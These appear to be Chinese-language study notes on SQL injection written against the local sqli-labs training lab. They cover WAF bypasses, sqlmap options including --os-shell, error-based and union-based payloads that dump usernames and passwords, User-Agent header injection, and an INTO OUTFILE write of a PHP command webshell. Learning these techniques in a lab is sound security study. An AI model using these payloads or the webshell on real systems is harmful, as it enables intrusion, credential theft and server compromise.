知识点
php.ini中disable_functionns可以禁用函数
include预防
产生原因:include包含点用户可控
isset():

robots.txt是什么:
robots.txt 是一个存放在网站根目录下的纯文本文件,它是机器人排除协议的一部分。它的作用是告诉网络爬虫该网站中哪些内容可以被抓取,哪些内容不可以被抓取。
科学计数法绕过:
利用了 WAF与 后端程序 在解析数据时的差异
假设 user_id=1 是管理员,WAF 禁止直接访问 1。攻击者可以使用 user_id=1e0 来获取管理员数据。
MySQL如何getshell(上传shell):
-
必须是root
-
某个字段必须需为空 : secure_file_priv:

默认是NULL(禁止导出),不能导出文件,必须是空白(什么都没有)
或者是具体路径,只能导出到具体路径 (如果是/tmp,导出到临时文件下)
如果是root权限也无法修改,修改须在 my.ini配置文件下修改(需要拿下服务器):
secure_file_priv 是一个 只读的系统变量 。这意味着它只能在 MySQL 服务启动时通过配置文件(或启动命令行参数)读取,服务一旦启动,你就无法通过 SQL 命令动态修改它。
- 知道web物理路径(通过猜或者报错)
需要满足以上三个条件才能getshell
into outfile:
SELECT ... INTO OUTFILE将选定的行写入文件。可以指定列和行终止符以生成特定的输出格式。
例如:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
找后台工具:dirmap、dirsearch、awvs等
正则回溯绕过:
当正则表达式包含复杂的重复匹配时,如果输入的字符串很长且无法完全匹配,正则引擎会尝试各种可能的组合路径进行"回溯"。
假设 WAF 的规则是检测 union select,且使用了复杂的正则边界检查。攻击者发送: ?id=aaaaaaaaaaaa...(大量a)... union select 1,2,3-- - WAF 在匹配前缀的 a...a 时卡死,导致无法检测到后面的 union select,最终后端执行了 SQL 注入。
换行符:
%0a,%0b,%0c,%0d,%a0,%09
sqlmap:
常见参数有哪些,干什么的,os-shell,level,risk,techniqques
SQLMap 是一款开源的、自动化的 SQL 注入 渗透测试工具
基础目标指定
-u <URL>或--url=<URL> :指定要测试的目标网址。
- 例:
sqlmap -u "http://www.target.com/vuln.php?id=1"
.请求与数据控制
--data=<DATA> :通过 POST 方式发送的数据。
例:sqlmap -u "http://www.target.com/login.php" --data="user=admin&pass=123"
-
--cookie=<COOKIE>:指定 Cookie 字符串(用于测试 Cookie 注入或维持会话)。 -
--headers=<HEADERS>:添加额外的 HTTP 头(如User-Agent或Authorization)。 -
--proxy=<PROXY>:使用 HTTP 代理(用于隐藏身份或绕过 IP 封锁)。 -
--delay=<DELAY>:每个 HTTP 请求之间的延迟(秒),用于避免触发 WAF 的频率限制。 -
--random-agent:使用随机生成的 User-Agent,避免被识别为工具。常见参数
--os-shell:
-
功能:尝试在目标服务器上建立一个交互式的操作系统 Shell(命令行环境)。
-
原理 :如果数据库权限足够且配置允许,SQLMap 会尝试通过
INTO OUTFILE向 Web 目录写入 Webshell,或者尝试上传 DLL/共享库(UDF)来执行系统命令。
--level (测试等级):
-
功能:指定测试的深度(1-5),默认为 1。
-
区别:
-
Level 1-2:仅测试 GET/POST 参数。
-
Level 3:增加 Cookie 头的测试。
-
Level 4:增加 User-Agent 和 Referer 头的测试。
-
Level 5:增加更多种类的 HTTP 头测试。
-
--risk (风险等级):
-
功能:指定测试的风险等级(1-3),默认为 1。
-
区别:
-
Risk 1:常规测试,无害。
-
Risk 2:增加基于时间的 SQL 盲注测试。
-
Risk 3:增加基于 OR 的注入测试,这类测试可能会导致数据库中的大量数据被更新或删除,具有潜在破坏性。
-
--techniques (指定技术):
-
功能:指定 SQLMap 使用哪些注入技术进行测试,默认测试所有
-
选项:
-
B: Boolean-based blind(布尔盲注) -
E: Error-based(报错注入) -
U: Union query-based(联合查询注入) -
S: Stacked queries(堆叠查询) -
T: Time-based blind(时间盲注) -
Q: Inline queries(内联查询)
-
万能密码:or
"万能密码"是通过特定输入绕过系统认证(如登录、权限校验)的技巧,本质是利用系统对用户输入的处理漏洞(如未过滤特殊字符、未正确校验逻辑),使认证条件永远成立,从而非法访问。
or是逻辑或运算符 ,表示"只要其中一个条件为真,整个表达式就为真"。当它与'1'='1'(永远为真的条件)结合时,能强制让认证逻辑失效。
魔术开关是什么:php5.3之前存在,5.3以后默认关闭
魔术引号是PHP早期为自动转义用户输入数据中的特殊字符 而设计的功能,目的是防止SQL注入等安全问题 。当magic_quotes_gpc(Get/Post/Cookie)或magic_quotes_runtime(运行时数据)开启时,PHP会自动将用户输入中的特殊字符(如单引号'、双引号"、反斜杠\、NULL字符\0)转义为安全形式(如\'、\"、\\、\0)。
例如,若用户输入O'Reilly,魔术引号会将其转为O\'Reilly,避免在SQL语句中破坏字符串结构
-
PHP 5.3之前 :魔术引号默认开启(
magic_quotes_gpc=On),因此用户输入的GET、POST、COOKIE数据会被自动转义。 -
PHP 5.3及以后 :魔术引号默认关闭(
magic_quotes_gpc=Off),并最终在PHP 7中被完全移除。
**被弃用的核心原因:**过度转义与数据混乱、防护不全面、隐藏逻辑、现代安全实践更优
Stripslashes函数:

知道主站如何找到子站:
-
浏览器:谷歌语法:site:domain intext:"xx|xx|xx|xxx"
-
fofa|hunter|quark
-
公开的工具
burp suite爆破:
密码爆破:爆破密码,容易被封ip,不推荐
密码喷洒:爆破账号,触发风控概率小,合理
mysql系统函数:
user(),database(),version()
sql注入:
不该被查询到的数据,被查到
select user()查看当前用户登陆权限
select database()当前所处数据库
select version()当前使用数据库版本
报错注入常用函数:
updatexml()
extractvalue()
floor()
报错注入7大常用函数:
1.ST_LatFromGeoHash()(mysql>=5.7.x)
2.ST_LongFromGeoHash(mysql>=5.7.x)
3.GTID (MySQL >= 5.6.X - 显错<=200)
4.floor(8.x>mysql>5.0)
5.ST_Pointfromgeohash (mysql>=5.7)
6 updatexml
7 extractvalue
截断函数
substr:从字符串中提取子串,语法为 substr(string, start, [length])
substring:从字符串中提取子串,语法为 substring(string, start, [length])
left:从字符串左侧 提取指定长度的子串,语法为 left(string, length)
right:从字符串右侧 提取指定长度的子串,语法为 right(string, length)
mid:与substring/substr类似,用于提取子串,语法为 mid(string, start, [length])
ascii():将字符转换为ASCII码(只取字符串的第一个字符)
length():返回字符串的长度
if():条件判断函数,根据条件返回不同值,语法为 if(condition, true_value, false_value)
-
condition:判断条件(布尔值); -
true_value:条件为真时返回的值; -
false_value:条件为假时返回的值。
MySQL数据库:information_schema、mysql

information_schema:是MySQL的只读系统数据库,存储了关于所有其他数据库的元数据(如表结构、列信息、权限、字符集等)。
mysql:是MySQL的核心系统数据库,它存储了服务器运行所需的关键信息,用户账户、权限、角色及认证信息,是MySQL权限系统的"数据源"
information_schema:
SCHEMATA:记录数据库名称


SCHEMA_NAME:记录所有数据库名称
TABLES:记录所有表名,包含数据库名


table_schema:数据库名
table_name:表名
COLUMNS:记录所有列名,包含数据库名,表名


table_schema:数据库名
table_name:表名
column_name
sql注入
第一关:
union逐步查询到表名、列名(前端须有回显)


mysql联表查询:
union:

列数必须相同
如何知道入侵网站的数据表有几列:
order by:

侧面推出有几列

逃逸出单引号限制
127.0.0.1/sqlilabs/Less-1/?id=1' order by 4--+

mysql注释:
第一种:-- (--空格)
第二种:#
第三种:/**/
联合查询注入

为什么还是dumb原因:


最终目的:
列名、表名、内容都不知道
查到管理员账号密码:
管理员是哪张表?
表里是什么字段?
informatio里有所有表、所有字段
127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3--+

结果超过一行
解决办法:
limit:


一次只能看一行
解决办法(两种):
burpsuite遍历:


group_concat:一个函数 ,可以将四行组成一行:
127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
找到表名:

寻找列名:
select column_name from information_schema.columns where table_schema='security' and table_name='users'

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+
结果:

寻找账号密码:
select group_concat(username,password)from users;

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(username,password)from users),3--+
结果:

报错注入:
127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
- id为真
updatexml()在MySQL中使用方法:

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

不完整,原因xpath的路径长度最多32位
解决办法:
使用limit():
127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+

使用substr():
127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,32)from users),0x7e),1)--+

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),32,64)from users),0x7e),1)--+

第七关:
outfile

127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,'aaaaaa',3 into outfile 'E:/phpStudy/phpstudy_pro/WWW/sqlilabs/web.txt';--+


127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile 'E:/phpStudy/phpstudy_pro/WWW/sqlilabs/web.php';--+


第十一关:
post注入


"SELECT username, password FROM users WHERE username='a' union select 1,user()#' and password='1' LIMIT 0,1"
只有一个username是否能查到数据:可以
username能不能是users表中已有的数据:如果是已经存在的数据,页面就不能显示联合查询后的数据


第十三关:
报错注入

为什么and前面a为假还能成功,报错注入优先级更高
第十七关:

单引号会被mysqli_real_escape_string函数转移,自己写的单引号会失效,无法逃逸出单引号限制
解决方法
有一个存在用户
1' and updatexml(1,concat(0x7e,user(),0x7e),1)#

思考:


1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
1' and updataxml (select group_concat teable_name)能查出,为什么a' 不行,有没有其他报错注入函数使用a'能成功
注入表名的时候会报错,执行系统函数的报错直接出数据
原因:

update users set password = '1' and updatexml语法本身就是错误的
优先级问题,updatexml先报错还是update先报错
1时and前面正确,and后面报错
update users set password = 'a' and updatexml
隐式转换
数字比较,a没办法转换成数字

a' and updatexml(1,concat(0x7e,user(),0x7e),1)为什么没报错
系统函数的优先级最高
除了updatexml以外还能,还能用什么函数报错注入
无
第十八关:
http head头 注入


uagent可控,REMOTE_ADDR无法伪造
burp suite抓包


闭合:

User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

补全:

User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1),'127.0.0.1','admin')#
